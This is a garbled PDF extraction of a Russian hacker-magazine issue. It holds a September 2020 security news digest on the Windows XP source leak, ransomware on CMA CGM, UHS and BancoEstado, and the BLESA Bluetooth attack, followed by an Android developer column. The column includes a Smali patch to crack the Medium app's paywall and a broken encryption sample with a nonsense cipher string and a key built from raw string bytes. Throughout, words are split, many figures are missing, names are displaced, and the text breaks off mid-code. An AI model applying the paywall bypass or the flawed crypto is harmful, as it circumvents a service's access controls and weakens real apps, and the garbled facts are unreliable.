Ак каун ты  игро ков,  как  пра вило,  взла мыва ют  пос редс твом  обыч ного  брут форса,  одна ко  дела‐ 
ется это, разуме ется, не вруч ную. Так,  в рас поряже нии зло умыш ленни ков есть высокоп роиз‐ 
водитель ные инс тру мен ты, которые поз воля ют устра ивать от   до   попыток взло‐ 
ма в минуту.
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УТЕЧКА WINDOWS XP
В кон це сен тября на 4chan опуб ликова ли тор рент‐файл раз мером 42,9 Гбайт,
в  сос таве  которо го  были  исходные  коды  нес коль ких  опе раци онных  сис тем,
вклю чая Windows XP и Windows Server  2003. Опуб ликовав ший файл  человек
утвер жда ет, что пот ратил два месяца на сбор ку это го тор рента и рань ше эти
фай лы рас простра нялись бро кера ми дан ных толь ко в час тном поряд ке. Файл
содер жит исходни ки:

MS DOS 3.30;•
MS DOS 6.0;•
Windows 2000;•
Windows CE 3;•
Windows CE 4;•
Windows CE 5;•
Windows Embedded 7;•
Windows Embedded CE;•
Windows NT 3.5;•
Windows NT 4.•

Хо тя  пред ста вите ли  Microsoft  не  про ком менти рова ли  слу чив шееся,  мно гие
спе циалис ты  изу чили  пуб ликацию  и  под твер дили  под линность  исходни ков.
При этом экспер ты отме чают, что ничего фаталь ного не слу чилось, ведь мно‐ 
гие  из  опуб ликован ных фай лов  утек ли  в  сеть  еще мно го  лет  назад,  а  новая
«утеч ка», по сути, пред став ляет собой под борку тех дан ных. Рань ше не были
замече ны  в  откры том  дос тупе  толь ко  исходни ки  Windows  XP,  Server
2003 и Windows 2000.

Жур налис ты ZDNet пред полага ют, что исходни ки, ско рее все го, родом из ака‐ 
деми чес ких  кру гов.  Так,  Microsoft  дав но  пре дос тавля ет  дос туп  к  исходно му
коду  сво их  опе раци онных  сис тем  пра витель ствам  по  все му  миру  с  целью
ауди та  безопас ности,  а  так же  науч ным  груп пам  для  про веде ния  науч ных
иссле дова ний.

Ин терес но,  что  тор рент‐файл  не  толь ко  содер жит  исходные  коды,  но  и
допол нен  набором  стран ных  виде оро ликов,  про паган диру ющих  теории
загово ра о Бил ле Гей тсе и про чие идеи QAnon.

Эта утеч ка вряд ли пред став ляет боль шую опас ность для поль зовате лей Win‐
dows  XP. Дос таточ но  вспом нить  о  том,  что ОС была  выпуще на  поч ти  20  лет
назад, а ее под дер жка прек ращена дав ным‐дав но. В нас тоящее вре мя доля
рын ка  Windows  XP  сос тавля ет  око ло  1%,  и  вряд  ли  раз работ чики  мал вари
будут силь но заин тересо ваны в ауди те исходно го кода такой дав ности и раз‐ 
работ ке экс пло итов для столь малень кой ауди тории.

ПОПУЛЯРНОСТЬ ХАК‐ФОРУМОВ
Ана лити ки  ком пании  Digital  Shadows  замети ли,  что  опе рато ры  англо языч ного  кар дер ско го
форума  Altenen  хва тают ся  количес твом  посети телей  сво его  сай та,  а  так же  дохода ми,  осно‐ 
выва ясь  на  дан ных,  получен ных  от  ана лити чес кого  сер виса HypeStat.  Иссле дова тели  решили
самос тоятель но  изу чить  тра фик  дру гих  популяр ных  ресур сов  для  кибер прес тупни ков  и  срав‐ 
нить получен ную информа цию с собс твен ным впе чат лени ем от этих сай тов.

По мимо  ,  иссле дова тели  про ана лизи рова ли  дан ные  таких  англо языч ных  форумов,
как  ,  ,    и  ,  немец коязыч ный  форум

, а так же рус ско языч ные ресур сы   и  .

Altenen
RaidForums Nulled Cracked TO Cracking King

Crimenetwork Exploit XXS

Дан ные  для  ана лиза  были  взя ты  из  откры тых  источни ков  (из  HypeStat  и  Alexa)  и  вклю чали
в  себя  ,    за  день, 

,  , а так же  .
рей тинг ресур са ко личес тво уни каль ных посети телей ге огра фию

посеще ний ис точни ки тра фика оцен ку ежед невно го дохода

Оцен ка при быль нос ти и посеща емос ти хак‐форумов

Ока залось,  что  сред нее  вре мя,  про веден ное  поль зовате лями  на  хакер ских  форумах,  колеб‐ 
лется  . Так, в сред нем люди про водят   на Exploit, но экспер‐ 
ты пре дуп режда ют, что эти циф ры тоже могут быть не слиш ком точ ными, к тому же соб ранная
ста тис тика  не  вклю чает  в  себя  посеще ния  .onion‐доменов,  поэто му  дан ные  нель зя  наз вать
исчерпы вающи ми.

от 6 до 22 минут ме нее 8 минут

Что каса ется доходов от рек ламы, иссле дова тели полага ют, что ана лити чес кие сер висы вооб‐ 
ще  не  отра жают фак тичес кую  эко номи ку  форумов,  так  как  хакер ские  ресур сы  могут  зараба‐ 
тывать день ги на  , а некото рые получа ют   за каж дую тран‐ 
закцию.

плат ном членс тве ко мис сион ные

ВЫМОГАТЕЛЬСКИЕ
АТАКИ МЕСЯЦА
Стра ницы про филь ных ресур сов каж дый день пол нятся сооб щени ями о новых
ата ках шиф роваль щиков, жер тва ми которых ста новят ся оче ред ные ком пании,
госуч режде ния, вузы и так далее. В сен тябре 2020 года подоб ных инци ден тов
было  ничуть  не мень ше,  но  некото рые  из  них  зас лужива ют  отдель ного  вни‐ 
мания.

CMA CGM
Жер твой вымога телей в этом месяце ста ла фран цуз ская  тран спортная  ком‐ 
пания  CMA  CGM,  пре иму щес твен но  занима ющаяся  мор ски ми  кон тей нер‐ 
ными  перевоз ками.  CMA  CGM  —  одна  из  круп ней ших  логис тичес ких  ком‐ 
паний  мира,  она  име ет  755  офи сов,  750  скла дов  и  штат  более  чем
из 110 000 сот рудни ков в 160 стра нах.

Офи циаль ное сооб щение гла сит, что ата ка зат ронула ряд перифе рий ных
сер веров ком пании, из‐за чего ИТ‐пер сонал был вынуж ден отклю чить внеш‐ 
ний  дос туп  к  при ложе ниям,  что бы  пре дот вра тить  даль нейшее  рас простра‐ 
нение угро зы. В нас тоящее вре мя ведут ся вос ста нови тель ные работы и рас‐ 
сле дова ние  про изо шед шего.  Пока  кли ентам  рекомен дует ся  свя зывать ся
с  мес тны ми  отде лени ями  CMA  CGM  нап рямую,  так  как  ИТ‐сис темы  могут
не работать.

СМИ  сооб щают,  что  ата ка  кос нулась  китай ских  отде лений  CMA  CGM
в Шан хае,  Шэнь чжэ не  и  Гуан чжоу.  Так же  жур налис ты  пишут,  что  ком пания
ста ла  жер твой  шиф роваль щика  Ragnar  Locker,  хотя  офи циаль ных  под‐ 
твержде ний это му пока нет.

Ин терес но, что это уже чет вертая ата ка на круп ную тран спортную ком панию
за  пос ледние  нес коль ко  лет.  Так,  от  подоб ных  инци ден тов  пос тра дали  уже
все  наибо лее  серь езные  игро ки  отрасли:  в  2017  году  шиф роваль щик  Not‐
Petya втор гся в сеть мор ско го гру зопе ревоз чика Maersk; в 2018 году вымога‐ 
тель ский  софт  на  нес коль ко  недель  парали зовал  работу  ком пании COSCO;
в апре ле 2020 года дата‐центр Mediterranean Shipping Company на нес коль ко
дней вышел из строя из‐за ата ки неназ ванно го шиф роваль щика.

Universal Health Services
К  сожале нию,  от  вымога тель ских  атак  про дол жают  стра дать  медицин ские
учрежде ния, и,  как мы писали выше, это уже при вело к смер ти как минимум
одно го паци ента.

На этот раз целью вымога телей ока залась ком пания Universal Health Ser‐
vices  (UHS),  которая  вхо дит  в  спи сок  Fortune  500  и  управля ет  при мер‐ 
но 400 медицин ски ми учрежде ниями в США, Великоб ритании и Пуэр то‐Рико.

Ата ка про изош ла в ночь с суб боты на вос кре сенье, с 26 на 27 сен тября,
око ло  2:00  часов  утра. Судя  по  тому,  что  сот рудни ки  и  паци енты  сооб щили
в  соци аль ных  сетях,  мно гие  боль ницы  UHS  были  вынуж дены  перей ти
на  работу  без  исполь зования  ИТ‐сис тем.  Некото рым  паци ентам  отка зали
в  помощи,  дру гих  перенап равили  в  дру гие  боль ницы,  так  как  кли ники  UHS
не мог ли выпол нить лабора тор ные иссле дова ния.

Сот рудни ки  пишут,  что  в  ука зан ное  вре мя  компь юте ры  начали  перезаг‐ 
ружать ся,  а  пос ле  на  экра нах  заражен ных  машин  появи лось  сооб щение
с  тре бова нием  выкупа. В  ито ге ИТ‐пер сонал медицин ских  учрежде ний  поп‐ 
росил  отклю чить  компь юте ры  во  избе жание  даль нейше го  рас простра нения
угро зы.

Сог ласно офи циаль ному  заяв лению ком пании,  в  нас тоящее вре мя боль‐ 
ницы UHS  пыта ются  вер нуть ся  в  строй  и,  похоже,  хотя  бы  час тично  вос ста‐ 
новить пос тра дав шие дан ные (судя по все му, из резер вных копий). Отдель но
под черки вает ся,  что  дан ные  о  паци ентах  и  сот рудни ках  не  были  похище ны
или ском про мети рова ны иным обра зом.

Жур налис ты  изда ния  ZDNet  под твер дили,  что  зараже ние  зат ронуло
как  минимум  боль ницы  и  медицин ские  цен тры  UHS  в  Север ной  Кароли не
и Техасе. Так же на Reddit люди, пред ста вив шиеся сот рудни ками раз ных кли‐ 
ник, сооб щают о проб лемах в Ари зоне, Фло риде, Джор джии, Пен силь вании
и Калифор нии.

В  соци аль ных  сетях  и  на Reddit  мно гие  утвер жда ют,  что  за  слу чив шимся
сто ит  извес тный шиф роваль щик Ryuk,  хотя  пока никаких доказа тель ств  этих
утвер жде ний ник то не пре дос тавил.

BancoEstado
Один из круп ней ших бан ков Чили, BancoEstado, был вынуж ден при оста новить
работу всех сво их отде лений, так как финан совое учрежде ние ата ковал шиф‐ 
роваль щик.  Из‐за  это го  все  отде ления  были  зак рыты  на  неоп ределен ный
срок.

Под робнос ти  ата ки  пока  не  раз гла шают ся,  одна ко  СМИ  сооб щают,  что
банк пос тра дал от ата ки извес тно го вымога теля REvil (он же Sodinokibi).

Су дя по все му, инци дент про изо шел из‐за того, что один из сот рудни ков
бан ка открыл вре донос ный документ Office, получен ный по поч те. Счи тает ся,
что этот вре донос ный файл уста новил бэк дор в сети бан ка и хакеры вос поль‐ 
зовались им, рас простра нив шиф роваль щик по сети финан сового  учрежде‐ 
ния.

Со обща ется,  что  изна чаль но  спе циалис ты  бан ка  рас счи тыва ли  быс тро
спра вить ся с ата кой, но ущерб ока зал ся более серь езным, чем они думали,
пос коль ку  вымога тель  зашиф ровал  подав ляющее  боль шинс тво  внут ренних
сер веров  и  рабочих  стан ций  сот рудни ков.  Так  как  спе циалис ты  бан ка  пра‐ 
виль но сег менти рова ли внут реннюю сеть ком пании, ата ка не зат ронула сайт
бан ка,  бан ков ский пор тал, мобиль ные при ложе ния и бан коматы,  а  кли ентов
уве ряют, что их средс тва в пол ной безопас ности.

BancoEstado  уже  уве домил об инци ден те  чилий скую полицию, и  в  тот же
день пра витель ство стра ны опуб ликова ло обще наци ональ ное пре дуп режде‐ 
ние, сооб щая о вымога тель ской кам пании, нацелен ной на час тный сек тор.

 ЗАПРОСОВ DUCKDUCKGO2 000 000 000

Раз работ чики  ори енти рован ного  на  кон фиден циаль ность  поис ковика  DuckDuckGo  рас кры ли
ста тис тику за август 2020 года. Ока залось, что поис ковик уста новил новый рекорд, обра ботав
более   поис ковых зап росов.2 000 000 000

Так же  раз работ чики  пох васта лись    уста новок  при ложе ний  и  рас ширений  и  сооб‐ 
щили, что на сегод ня у DuckDuckGo нас читыва ется более   активных поль зовате‐ 
лей.

4  000  000
65 000 000

Увы,  на  фоне  Google  успе хи  DuckDuckGo  выг лядят  весь ма  скром но:  при ват ный  поис ковик
по‐преж нему кон тро лиру ет лишь   от обще го объ ема поис кового рын ка в США.2%

BLUETOOTH: BLESA
Эк спер ты из Уни вер ситета Пердью пре дуп редили,  что мил лиар ды смар тфо‐ 
нов, план шетов, ноут буков и IoT‐устрой ств, исполь зующие Bluetooth Low Ener‐
gy (BLE), уяз вимы перед новой ата кой BLESA (Bluetooth Low Energy Spoofing
Attack).

На пом ню,  что BLE пред став ляет собой «облегчен ную» вер сию стан дарта
Bluetooth,  соз данную  для  эко номии  заряда  акку муля тора  при  активнос ти
Bluetooth‐соеди нений.  Бла года ря  улуч шенно му  энер госбе реже нию  BLE
получил  широкое  рас простра нение  и  стал  исполь зовать ся  прак тичес ки
во всех устрой ствах, работа ющих от акку муля торов.

По дав ляющее  боль шинс тво  проб лем,  ранее  выяв ленных  в  BLE,  были
обна руже ны  в механиз ме  соп ряжения,  но  иссле дова тели  прак тичес ки  игно‐ 
риро вали  дру гие  час ти  про токо ла.  Испра вить  это  решила  груп па  из  семи
экспер тов  из  Уни вер ситета  Пердью,  пос тавив шая  перед  собой  задачу  изу‐ 
чить  дру гие  аспекты  BLE.  В  час тнос ти,  работа  иссле дова телей  сос редото‐ 
чилась вок руг про цес са «пов торно го под клю чения» (reconnection).

Эта  опе рация  выпол няет ся  пос ле  того,  как  два  BLE‐устрой ства  (кли ент
и сер вер) аутен тифици рова ли друг дру га в ходе соп ряжения. Пов торное под‐ 
клю чение  про исхо дит  в  том  слу чае,  если  устрой ства  выш ли  за  пре делы
диапа зона,  а  затем  сно ва  вер нулись  в  зону  дей ствия  BLE.  При  пов торном
под клю чении  устрой ства  дол жны  пов торно  про верить  крип тогра фичес кие
клю чи друг дру га, ранее сог ласован ные во вре мя соп ряжения, пов торно под‐ 
клю чить ся друг к дру гу и про дол жить обмен дан ными.

Ис сле дова тели  обна ружи ли,  что  спе цифи кация  BLE  опи сыва ет  про цесс
пов торно го под клю чения весь ма раз мыто, и в резуль тате при реали зации re‐
connection  в  раз ных  импле мен таци ях  BLE  воз ника ют  две  сис темные  проб‐ 
лемы в цепоч ке пос тавок:

за час тую  аутен тифика ция  во  вре мя  пов торно го  под клю чения  устрой ства
ока зыва ется необя затель ной;

•

аутен тифика цию мож но обой ти, если устрой ству поль зовате ля не уда ется
вынудить IoT‐устрой ство аутен тифици ровать переда ваемые дан ные.

•

В ито ге эти проб лемы откры вают воз можность для про веде ния ата ки BLESA,
ког да  находя щий ся  непода леку  зло умыш ленник  обхо дит  про вер ки  при  пов‐ 
торном  под клю чении  и  переда ет  под дель ные  дан ные  на  BLE‐устрой ство,
вынуж дая  людей  и  авто мати ку  при нимать  оши боч ные  решения.  Прос тую
демонс тра цию BLESA в дей ствии мож но уви деть в  .этом ролике

BLESA  пред став ляет  угро зу  не  для  всех  импле мен таций  BLE.  Так,  уяз‐ 
вимыми  были  приз наны  BlueZ  (исполь зует ся  IoT‐девай сами  на  базе  Linux),
Fluoride (Android), а так же iOS BLE. Но BLE на Windows‐устрой ствах ока зал ся
не под вержен проб леме.

«По сос тоянию на июнь 2020 года Apple приз нала эту проб лему уяз- 
вимостью  (CVE-2020-9770)  и  уже  устра нила  ее.  Реали зация  Android
BLE на нашем тес товом устрой стве (Google Pixel XL под управле нием
Android 10) по‑преж нему уяз вима», — пишут иссле дова тели.

В свою оче редь, раз работ чики BlueZ пообе щали,  что перес мотрят свой код
и сде лают пов торные под клю чения неуяз вимыми перед BLESA.

К сожале нию, экспер ты пред ска зыва ют, что исправ ление проб лемы BLE‐
SA ста нет нас тоящей голов ной болью для сис темных адми нис тра торов. Дело
в  том,  что  мно жес тво  IoT‐устрой ств,  про дан ных  за  пос леднее  десяти летие,
поп росту не име ет встро енных механиз мов обновле ния, а зна чит, эти устрой‐ 
ства оста нут ся без пат чей.

Кро ме  того,  обыч но  защита  от  Bluetooth‐атак  под разуме вает,  что  соп‐ 
ряжение  устрой ств  дол жно  про водить ся  в  кон тро лиру емых  сре дах.  Одна ко
защита от BLESA — это более слож ная задача, так как ата ка нацеле на на опе‐ 
рацию  пов торно го  под клю чения.  К  при меру,  зло умыш ленни ки  могут  спро‐ 
воци ровать  отказ  в  обслу жива нии,  что бы  при нуди тель но  разор вать  соеди‐ 
нение Bluetooth, а затем запус тить пов торное под клю чение и выпол нить ата‐ 
ку.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
На Pastebin появи лись фун кции защиты паролем и само унич тожения кон тента

Эк сперт Avast зас тавил кофема шину вымогать день ги

Ата ку Raccoon мож но исполь зовать для рас шифров ки HTTPS‐тра фика

Ре бенок  помог  обна ружить  в  App  Store  и  Google  Play  мал варь,  заг ружен ную  более  2,4  мил‐ 
лиона раз

Груп пиров ка OldGremlin ата кует круп ные ком пании и бан ки в Рос сии

Спа меры пря чут ся за шес тнад цатерич ными IP‐адре сами

Один из доменов The Pirate Bay про дан на аук ционе за 50 тысяч дол ларов

Двух рос сиян обви нили в кра же крип товалю ты на сум му 17 мил лионов дол ларов

Ата ка BlindSide поз воля ет обой ти ASLR

SWIFT: день ги ред ко отмы вают с помощью крип товалют

https://youtu.be/tO9tUl2yfFc
https://xakep.ru/2020/09/30/burn-after-read/
https://xakep.ru/2020/09/28/smarter-ransomware/
https://xakep.ru/2020/09/11/raccoon-2/
https://xakep.ru/2020/09/23/adware-tiktok-ads/
https://xakep.ru/2020/09/23/oldgremlin/
https://xakep.ru/2020/09/21/hexadecimal-ip/
https://xakep.ru/2020/09/18/piratebayorg/
https://xakep.ru/2020/09/17/exchanges-hack/
https://xakep.ru/2020/09/15/blindside/
https://xakep.ru/2020/09/08/money-laundering-2/
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Се год ня  в  выпус ке:  взла мыва ем  при ложе‐ 
ние  Medium,  защища ем  дан ные  при ложе‐ 
ния, зна комим ся с Jetpack DataStore, дела‐ 
ем  при ложе ние  устой чивым  к  обры ву
соеди нения  и  исполь зуем  делеги рова ние
в  Kotlin.  А  так же:  под борка  фун кций‐рас‐ 
ширений на все слу чаи жиз ни, неиз вес тные
инс тру мен ты  раз работ чика  и  новые  биб‐ 
лиоте ки.

ПОЧИТАТЬ

Взлом приложения Medium
 — статья

о  том,  как  взло мать  офи циаль ное  при ложе ние Medium и  сде лать  все  пос ты
бес плат ными.

Reverse Engineering The Medium App (and making all stories  in  it  free)

Medium дает новым поль зовате лям воз можность про читать три пос та бес‐ 
плат но.  Для  тре кин га  новых  поль зовате лей  исполь зуют ся  куки:  если  куки
с опре делен ным клю чом не уста нов лены — зна чит, поль зователь новый, ина‐ 
че  поль зователь  ста рый.  Заходя  на  Medium  в  при ват ном  режиме  (который
сти рает все куки), поль зователь всег да будет новым и смо жет читать статьи
сколь ко угод но.

При ложе ние  Medium  для  Android  исполь зует  ров но  тот  же  механизм
для отсле жива ния новых поль зовате лей. Но вмес то при ват ного режима здесь
при дет ся  исполь зовать  дру гой  под ход.  При ложе ние  необ ходимо  деком‐ 
пилиро вать с помощью Apktool, а затем внес ти изме нение, которое поз волит
забывать  о  любых  куках  при  обра щении  к  адре су 

.
api.medium.com/_/api/

posts/{postId}
Сде лать это мож но, вне ся прав ки в класс   биб лиоте ки

OkHttpClient, которую исполь зует при ложе ние Medium.
JavaNetCookieJar

Од нако изме нить дизас сем бли рован ное при ложе ние мож но, толь ко перепи‐ 
сав этот код на язы ке Smali:

   invoke‐virtual {v2}, Ljava/net/URI;‐>toString()Ljava/lang/String;
 move‐result‐object v9

   const‐string v6, "^https:\\/\\/api.medium.com\\/_\\/api\\/posts\\/[^\
\/]+[?](.)*$"

     invoke‐virtual {v9, v6}, Ljava/lang/String;‐>matches(Ljava/lang/
String;)Z

 move‐result v7
   if‐nez v7, :cond_4

Нуж но вста вить этот код в дизас сем бли рован ный лис тинг того же клас са 
, а затем соб рать при ложе ние, исполь зуя Apktool.

Ja‐
vaNetCookieJar

РАЗРАБОТЧИКУ

Защищаем данные приложения правильно
  —  статья  с  совета ми,  как  пра виль но

реали зовать шиф рование и защиту дан ных в при ложе нии.
Modern  Android  Security  Development

Используй библиотеку Jetpack Security

Ес ли  опре делен ные  дан ные  при ложе ния  (клю чи  API,  пароли,  лич ная
информа ция)  дол жны  быть  зашиф рованы,  не  полагай ся  на  советы  со  Stack
Overflow и статьи пятилет ней дав ности. В 2020 году твой выбор — 

.
Jetpack Se‐

curity
Эта биб лиоте ка поз волит сге нери ровать мас тер‐ключ и зашиф ровать дан‐ 

ные мак сималь но прос то и мак сималь но кор рек тным и безопас ным обра зом.
Jetpack Security базиру ется на биб лиоте ке  , хра нит мас тер‐клю чи
в  защищен ном  аппа рат ном  хра нили ще  (KeyStore)  и  поз воля ет  шиф ровать
как фай лы, так и нас трой ки при ложе ния. При мер соз дания мас тер‐клю ча AES
в защищен ном хра нили ще:

Google Tink

       fun generateMasterKey(context: Context): MasterKey {
     return MasterKey.Builder(context)
       .setKeyGenParameterSpec(AES256_GCM_SPEC)
       .build()
}

Используй SealedObject для сохранения или передачи объектов

Ес ли  тебе необ ходимо сох ранить в пос тоян ной памяти объ ект — исполь зуй
класс   из стан дар тной биб лиоте ки Java. Он поз воля ет соз дать
зашиф рован ную  сери али зуемую  вер сию  объ екта  (обер нуть  его)  так,  что бы
его мож но было безопас но хра нить в незащи щен ном хра нили ще. Сле дующий
класс пре дос тавля ет реали зацию шиф рования объ ектов с помощью 

:

SealedObject

Seale‐
dObject

   class ObjectEncryptor {
             private val scheme: String = "AES / CBC / PKCS7Pdding / 
Whatever..."
                   private val cipher: Cipher by lazy { Cipher.getInstance(scheme) }

             
 

fun sealObject(`object`: Serializable, privateKey: String):
Serializable {
               val secretKey = SecretKeySpec(privateKey.toByteArray(),
scheme)
         cipher.init(ENCRYPT_MODE, secretKey)

           return SealedObject(`object`, cipher)
   }

   @Throws(IOException::class)
             

 
fun unsealObject(`object`: Serializable, privateKey: String):

Serializable {
               val secretKey = SecretKeySpec(privateKey.toByteArray(),
scheme)
                 val sealedObject = `object` as SealedObject

             return sealedObject.getObject(secretKey) as Serializable
   }
}

Включи обфускацию

Но вые  вер сии  Android  Studio  исполь зуют  новый  ком пилятор  D8  для  сбор ки
при ложе ния  и  опти миза тор  R8  для  опти миза ции.  R8  при шел  на  сме ну  Pro‐
Guard  и,  по  сути,  выпол няет  те  же  фун кции:  замена  длин ных  имен  клас сов,
методов и полей более корот кими,  уда ление неис поль зуемо го  кода, инлай‐ 
нинг  и  мно гое  дру гое.  Побоч ным  эффектом  такой  опти миза ции  ста новит ся
усложне ние жиз ни ревер сера, который захочет деком пилиро вать или дизас‐ 
сем бли ровать твой код.

Вклю чить R8 очень прос то. Для это го дос таточ но добавить в 
 такие строч ки:

build.gra‐
dle

 android {
   ...
     buildTypes {
         release {
             minifyEnabled true
             shrinkResources true
             

 
proguardFiles getDefaultProguardFile('

proguard‐android‐optimize.txt'), 'proguard‐rules.pro'
       }
   }
}

Знакомимся с Jetpack DataStore
 — статья раз работ чиков Android Jet‐

pack о новой биб лиоте ке для замены SharedPreferences.
Prefer Storing Data with Jetpack DataStore

DataStore сос тоит из двух ком понен тов: Proto DataStore для хра нения объ‐ 
ектов  (на  базе  ProtocolBuffers)  и  Preferences  DataStore  для  хра нения  пар
ключ:зна чение. В отли чие от SharedPreferences, новая биб лиоте ка тран закци‐ 
онная (то есть может гаран тировать целос тность дан ных) и име ет асин хрон‐ 
ный API, фун кции которо го мож но вызывать из основно го потока при ложе ния.
Под держи вает ся и миг рация с SharedPreferences.

Ра ботать  с  API  дос таточ но  прос то.  Для  начала  необ ходимо  добавить
в   нуж ные зависи мос ти:build.gradle

// Preferences DataStore
 implementation "androidx.datastore:datastore‐preferences:1.0.

0‐alpha01"
// Proto DataStore

 implementation "androidx.datastore:datastore‐core:1.0.0‐alpha01"

За тем соз дать объ ект DataStore (далее при меры для Preferences DataStore):

         
 

val dataStore: DataStore<Preferences> = context.createDataStore(name
= "settings")

Да лее мож но читать дан ные:

     val MY_COUNTER = preferencesKey<Int>("my_counter")
       val myCounterFlow: Flow<Int> = dataStore.data

          .map { currentPreferences ‐>
           currentPreferences[MY_COUNTER] ?: 0
  }

И писать:

     suspend fun incrementCounter() {
         dataStore.edit { settings ‐>
                 val currentCounterValue = settings[MY_COUNTER] ?: 0
               settings[MY_COUNTER] = currentCounterValue + 1
   }
}

Делаем приложение устойчивым к обрыву соединения
  —  статья  раз работ чиков  из  Microsoft

о  том,  как  исполь зовать  биб лиоте ку    для  соз дания  устой чивых
к обры ву сетево го соеди нения при ложе ний.

Building  resilient  Android  applications
resilience4j

Resilience4j  поз воля ет  опи сать  алго ритм  вос ста нов ления  соеди нения
в фун кци ональ ном сти ле на язы ке Java или Kotlin. Нап ример:

         
 

private val connectRetry = Retry.of("connect", RetryConfig<
ConnectionResult> {
   maxAttempts(3)
   waitDuration(Duration.ofSeconds(3))
             retryOnResult { it == ConnectionResult.UNREACHABLE }
})

         
 

private val sendMessageRetry = Retry.of("sendMessage", RetryConfig<
Unit> {
   maxAttempts(3)
           

 
intervalFunction { retryNumber ‐> 2.toDouble().pow(retryNumber).

roundToLong() }
             retryOnException { it is FailedToSendException }
})

Да лее этот алго ритм мож но исполь зовать для под клю чения:

       suspend fun connectAndSendMessage(message: ByteArray) {
             val result = if (!connection.isConnected) {
         connectRetry.executeSuspendFunction {
           connection.connectToDevice()
       }
       } else ConnectionResult.CONNECTED

           if (result == ConnectionResult.CONNECTED) {
         sendMessageRetry.executeSuspendFunction {
           connection.sendMessage(message)
       }
         } else throw FailedToSendException()
}

Используем делегирование в Kotlin
 — статья об исполь зовании встро енных

в язык Kotlin средств делеги рова ния реали заций клас сов и свой ств.
Don’t Reinvent the Wheel, Delegate It!

Один из клю чевых пос тулатов сов ремен ного ООП‐прог рамми рова ния гла‐ 
сит: «Пред почитай те делеги рова ние нас ледова нию». Это зна чит, что вмес то
нас ледова ния  от  какого‐либо  клас са  луч ше  вклю чить  инстанс  это го  клас са
в дру гой класс и вызывать его методы при вызове одно имен ных методов это‐ 
го клас са:

   class Class1() {
           fun method1() { ... }
           fun method1() { ... }
}

     class Class2(firstClass: Class1) {
           private val class1 = firstClass

           fun method1() { firstClass.method1() }
           fun method2() { firstClass.method2() }
}

За чем это нуж но? Что бы избе жать проб лем,  ког да методы  клас са‐родите ля
вызыва ют  друг  дру га.  Если    вызыва ет  ,  то,  пере опре‐ 
делив вто рой метод, мы сло маем работу пер вого. Делеги рова ние реша ет эту
проб лему, так как   и   оста ются не свя зан ными друг с дру гом.

method1() method2()

Class1 Class2
С дру гой сто роны, делеги рова ние  усложня ет  код, и поэто му в Kotlin есть

спе циаль ное  клю чевое  сло во  ,  силь но  упро щающее  жизнь  раз работ чику.
Бла года ря  ему  реали зовать  вто рой  класс  мож но  с  помощью  все го  одной
стро ки:

by

           class Class2(firstClass: Class1) : Class1 by firstClass

Это  дей стви тель но  все.  Ком пилятор  Kotlin  авто мати чес ки  пре обра зует  эту
стро ку в ана лог реали зации   из пер вого при мера.Class2

Kotlin  так же  поз воля ет  делеги ровать  реали зацию  свой ств.  В  сле дующей
записи  исполь зует ся  стан дар тный  делегат  ,  ини циали зиру ющий
перемен ную при пер вом обра щении к ней:

lazy

           val orm by lazy { KotlinORM("main.db") }

Еще более инте рес но работа ет делегат  , поз воля ющий магичес ким обра‐ 
зом взять зна чения из хеш мапа.

map

         class User(val map: Map<String, Any?>) {
           val name: String by map
               val age: Int by map
}

     val user = User(mapOf(
       "name" to "John Doe",
        "age" to 25
))

 println(user.name) // "John Doe"
  println(user.age) // 25

Кро ме   и  ,  в стан дар тную биб лиоте ку Kotlin вклю чены еще три стан‐ 
дар тных делега та:

lazy map

nutNull  —  ана лог  клю чево го  сло ва    с  более  широки ми  воз‐ 
можнос тями;

• lateinit

observable  —  поз воля ет  выпол нить  код  в  момент  чте ния  или  записи
перемен ной;

•

vetoable —  похож  на  observable,  но  сра баты вает  перед  записью  нового
зна чения и может зап ретить изме нение.

•

Ну  и  конеч но  же,  любой  раз работ чик  может  соз дать  собс твен ный  делегат.
Это все го лишь класс c реали заци ей опе рато ров   и  :getValue() setValue()

   class Delegate {
               

 
operator fun getValue(thisRef: Any?, property: KProperty<*>):

String {
         return "$thisRef, thank you for delegating '${property.name}
' to me!"
   }

               
   

operator fun setValue(thisRef: Any?, property: KProperty<*>,
value: String) {
       println("$value has been assigned to '${property.name}' in 
$thisRef.")
   }
}

INFO

Ан дрей  Брес лав,  клю чевой  раз работ чик  Kotlin,
не  раз  заяв лял,  что  не  стал  бы  реали зовы вать
делеги рова ние клас сов, будь у него воз можность
вер нуть ся  в  прош лое.  Эта  фун кция  ока залась
хоть  и  полез ной,  но  слиш ком  ком плексной
в  реали зации  и  кон флик тующей  с  новыми  воз‐ 
можнос тями язы ка Java.

Функции-расширения для работы со строками
 — статья с десятью при мера ми фун кций‐рас‐ 

ширений  для  работы  со  стро ками.  Из  того,  что  мож но  вынес ти  в  свою
мини‐биб лиоте ку:

10 Useful Kotlin String Extensions

   val String.containsLatinLetter: Boolean
       get() = matches(Regex(".*[A‐Za‐z].*"))

   val String.containsDigit: Boolean
       get() = matches(Regex(".*[0‐9].*"))

   val String.isAlphanumeric: Boolean
       get() = matches(Regex("[A‐Za‐z0‐9]*"))

   val String.hasLettersAndDigits: Boolean
           get() = containsLatinLetter && containsDigit

   val String.isIntegerNumber: Boolean
           get() = toIntOrNull() != null

   val String.toDecimalNumber: Boolean
           get() = toDoubleOrNull() != null

Ис поль зовать так:

       val cl = "Contains letters".containsLatinLetter // true
       val cnl = "12345".containsLatinLetter // false
       val cd = "Contains digits 123".containsDigit // true
       val istr = "123".isIntegerNumber // true
       val dstr = "12.9".toDecimalNumber // true

Зас лужива ют  вни мания  так же  фун кции  для  валида ции  email‐адре сов
и телефон ных номеров:

     fun String.isEmailValid(): Boolean {
         val expression = "^[\\w.‐]+@([\\w\\‐]+\\.)+[A‐Z]{2,8}$"
           val pattern = Pattern.compile(expression, Pattern.
CASE_INSENSITIVE)
         val matcher = pattern.matcher(this)
     return matcher.matches()
}

         
 

fun String.formatPhoneNumber(context: Context, region: String):
String? {
         val phoneNumberKit = PhoneNumberUtil.createInstance(context)
           val number = phoneNumberKit.parse(this, region)
     if (!phoneNumberKit.isValidNumber(number))
         return null

       return phoneNumberKit.format(number, PhoneNumberUtil.
PhoneNumberFormat.INTERNATIONAL)
}

Еще немного функций-расширений
 —  еще одна  статья  с  при мера ми фун‐ 

кций‐рас ширений на все слу чаи жиз ни. Из инте рес ного:
22 Kotlin  Extensions  for Cleaner Code

Версия приложения

   val Context.versionName: String?
     get() = try {

           val pInfo = packageManager.getPackageInfo(packageName, 0);
   pInfo?.versionName
       } catch (e: PackageManager.NameNotFoundException) {
